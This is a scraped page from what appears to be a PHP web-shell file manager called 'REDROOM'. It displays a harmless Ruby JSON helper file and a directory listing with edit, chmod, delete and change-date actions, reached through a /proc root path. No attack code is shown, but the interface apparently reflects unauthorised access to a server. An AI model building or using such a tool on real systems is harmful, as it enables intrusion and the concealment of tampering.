REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 414 B
Close
//proc/thread-self/root/opt/alt/ruby19/lib64/ruby/1.9.1/json/add/rational.rb
Text
Base64
unless defined?(::JSON::JSON_LOADED) and ::JSON::JSON_LOADED require 'json' end defined?(::Rational) or require 'rational' class Rational def self.json_create(object) Rational(object['n'], object['d']) end def as_json(*) { JSON.create_id => self.class.name, 'n' => numerator, 'd' => denominator, } end def to_json(*) as_json.to_json end end
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 3
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
complex.rb
398 B
lrw-r--r--
2011-09-01 08:16:29
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
core.rb
6.41 KB
lrw-r--r--
2013-02-13 07:18:58
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
rational.rb
414 B
lrw-r--r--
2011-09-01 08:16:29
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).